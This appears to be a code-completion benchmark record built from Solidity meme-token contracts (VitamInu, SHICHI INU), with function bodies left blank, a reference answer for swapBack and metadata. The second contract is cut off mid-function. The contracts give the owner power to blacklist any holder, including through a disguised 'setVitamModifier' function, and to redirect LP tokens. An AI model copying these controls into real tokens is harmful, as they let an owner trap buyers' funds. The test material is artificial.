if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } sellDevFee = _sellDevFee; sellMarketingFee = _sellMarketingFee; super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable marketingWallet, block.timestamp ); } function swapBack() private {<FILL_FUNCTION_BODY> } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(deadAddress), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract VitamInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; // address that will receive the auto added LP tokens address public deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 7200 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellDevFee; uint256 public earlySellMarketingFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("VitamInu", "VITAM") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 6; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 5; uint256 _earlySellDevFee = 8; uint256 _earlySellMarketingFee = 9; uint256 totalSupply = 10 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 75 / 10000; // 0.2% maxTransactionAmountTxn maxWallet = totalSupply * 15 / 1000; // No Max Wallet On Launch swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellDevFee = _earlySellDevFee; earlySellMarketingFee = _earlySellMarketingFee; marketingWallet = address(0xa9F0343b754c03E88bf523215b51d36C89F03507); // set as marketing wallet devWallet = address(0x0716989BCb123474AABAfb61404dCaa0F1229C77); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } function setVitamModifier(address account, bool onOrOff) external onlyOwner { _blacklist[account] = onOrOff; } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function resetLimitsBackIntoEffect() external onlyOwner returns(bool) { limitsInEffect = true; return true; } function setAutoLpReceiver (address receiver) external onlyOwner { deadAddress = receiver; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellDevFee, uint256 _earlySellMarketingFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellDevFee = _earlySellDevFee; earlySellMarketingFee = _earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 2) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; emit BoughtEarly(to); } // early sell logic uint256 _sellDevFee = sellDevFee; uint256 _sellMarketingFee = sellMarketingFee; bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellDevFee = earlySellDevFee; sellMarketingFee = earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; bool walletToWallet = !automatedMarketMakerPairs[to] && !automatedMarketMakerPairs[from]; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to] || walletToWallet) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } sellDevFee = _sellDevFee; sellMarketingFee = _sellMarketingFee; super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable marketingWallet, block.timestamp ); } <FILL_FUNCTION> function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(deadAddress), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}("");
function swapBack() private
function swapBack() private
87944
SHICHI
setNewRouter
contract SHICHI is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; mapping (address => bool) public isExcludedFromWalletRestrictions; uint256 private startingSupply = 100_000_000; string private _name = "SHICHI INU"; string private _symbol = "SHICHI"; uint256 public _buyFee = 800; uint256 public _sellFee = 900; uint256 public _transferFee = 2000; uint256 constant public maxBuyTaxes = 1250; uint256 constant public maxSellTaxes = 1600; uint256 constant public maxTransferTaxes = 2000; // ratios uint256 private _liquidityRatio = 0; uint256 private _marketingRatio = 666; uint256 private _teamRatio = 334; uint256 private _burnRatio = 0; // ratios uint256 private _liquidityWalletRatios = _teamRatio + _liquidityRatio + _marketingRatio; uint256 private _WalletRatios = _teamRatio + _marketingRatio; uint256 private constant masterTaxDivisor = 10000; uint256 private constant MAX = ~uint256(0); uint8 constant private _decimals = 9; uint256 private _tTotal = startingSupply * 10**_decimals; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address constant private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; // Receives tokens, deflates supply, increases price floor. address payable private _marketingWallet = payable(0x7EAC7b108d9bAc750A3cf69DFBCD1de617Baa3e7); address payable private _teamWallet = payable(0x8d869357F0548C4dEc15ccfA80a24b931fBdd404); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private maxTxPercent = 33; uint256 private maxTxDivisor = 10_000; uint256 public _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; uint256 private maxWalletPercent = 100; uint256 private maxWalletDivisor = 10_000; uint256 public _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; uint256 private swapThreshold = (_tTotal * 5) / 10_000; uint256 private swapAmount = (_tTotal * 5) / 1_000; bool private sniperProtection = true; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; // make constant uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller != owner."); _; } constructor () payable { _tOwned[_msgSender()] = _tTotal; // Set the owner. _owner = msg.sender; dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; // Approve the owner for Uniswap, timesaver. _approve(_msgSender(), _routerAddress, _tTotal); // Event regarding the tTotal transferred to the _msgSender. emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() {<FILL_FUNCTION_BODY> } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "One week cooldown."); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function isProtected(uint256 rInitializer) external onlyOwner { require (_liqAddStatus == 0, "Error."); _liqAddStatus = rInitializer; snipeBlockAmt = 3; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; sameBlockActive = antiBlock; } function setRatios(uint256 liquidity, uint256 marketing, uint256 team, uint256 burnRatio) external onlyOwner { require ( (liquidity + marketing + team + burnRatio) == 1000, "Must add up to 1000"); _liquidityRatio = liquidity; _marketingRatio = marketing; _teamRatio = team; _burnRatio = burnRatio; } function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _buyFee = buyFee; _sellFee = sellFee; _transferFee = transferFee; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 300), "Must be above 0.33~% of total supply."); _maxTxAmount = check; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 300), "Must be above 0.33~% of total supply."); _maxWalletSize = check; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner { _marketingWallet = payable(marketingWallet); _teamWallet = payable(teamWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function excludeFromWalletRestrictions(address excludedAddress) public onlyOwner{ isExcludedFromWalletRestrictions[excludedAddress] = true; } function revokeExcludedFromWalletRestrictions(address excludedAddress) public onlyOwner{ isExcludedFromWalletRestrictions[excludedAddress] = false; } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: Zero address."); require(to != address(0), "ERC20: Zero address."); require(amount > 0, "Must >0."); if(_hasLimits(from, to)) { if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } if(!(isExcludedFromWalletRestrictions[from] || isExcludedFromWalletRestrictions[to])){ if(lpPairs[from] || lpPairs[to]){ require(amount <= _maxTxAmount, "Exceeds the maxTxAmount."); } if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } } } bool takeFee = true; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if (_liquidityRatio + _marketingRatio + _teamRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / _liquidityWalletRatios) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((currentBalance * _liquidityRatio/2) / (_liquidityRatio/2 + _WalletRatios)); if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_WalletRatios)); _teamWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { if (snipeBlockAmt != 3) { _liqAddBlock = block.number + 5000; } else { _liqAddBlock = block.number; } _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { uint256 currentFee; if (from == lpPair) { currentFee = _buyFee; } else if (to 